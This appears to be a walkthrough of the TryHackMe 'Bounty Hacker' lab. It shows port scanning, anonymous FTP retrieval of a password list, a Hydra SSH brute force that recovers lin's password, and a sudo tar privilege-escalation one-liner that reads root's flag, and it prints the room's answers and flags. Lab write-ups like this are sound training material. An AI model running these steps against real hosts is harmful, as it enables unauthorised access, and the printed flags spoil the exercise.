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Bounty Hacker

You talked a big game about being the most elite hacker in the solar system. Prove it and claim your right to the status of Elite Bounty Hacker!

You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they’d take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers & beef in your future!

Find open ports on the machine

Nmap discovers several common services running on their standard ports: 21 (FTP), 22 (SSH) and 80 (HTTP).

[email protected]:~$ nmap -sC -sV -A
Starting Nmap 7.80 ( ) at 2020-08-13 09:10 CEST
Nmap scan report for
Host is up (0.084s latency).
Not shown: 970 filtered ports, 27 closed ports
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 43.66 seconds

Who wrote the task list?

Let’s connect as anonymous on the FTP service:

[email protected]:~$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07 21:41 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07 21:47 task.txt
226 Directory send OK.
ftp> mget *
mget locks.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
226 Transfer complete.
418 bytes received in 0.06 secs (7.4185 kB/s)
mget task.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.00 secs (30.7010 kB/s)
ftp> exit
221 Goodbye.

The task list has been written by lin:

[email protected]:/data/tmp$ cat task.txt 
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.


Answer: lin

What service can you bruteforce with the text file found?

Answer: ssh

What is the users password?

The other file seems to be a password file:

[email protected]:/data/tmp$ cat locks.txt 
[email protected]$yn9icat3
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]$yND1C4Te
[email protected]
[email protected]@73
[email protected]

We can try to bruteforce lin’s SSH password:

[email protected]:/data/tmp$ hydra -l lin -P locks.txt ssh://
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-08-13 09:13:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found

Lin’s password is RedDr4gonSynd1cat3.


Let’s connect as lin over SSH:

[email protected]:/data/tmp$ ssh [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:fzjl1gnXyEZI9px29GF/tJr+u8o9i88XXfjggSbAgbE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:
 * Management:
 * Support:

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from
[email protected]:~/Desktop$ cat user.txt 

User flag: THM{CR1M3_SyNd1C4T3}


Let’s check lin’s privileges. Lin can run tar as root:

[email protected]:~/Desktop$ sudo -l
[sudo] password for lin: 
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

Checking on GTFOBins reveals that we can take advantage of it to read files as root.

[email protected]:~/Desktop$ LFILE=/root/root.txt
[email protected]:~/Desktop$ sudo tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
[email protected]:~/Desktop$ 

Root flag: THM{80UN7Y_h4cK3r}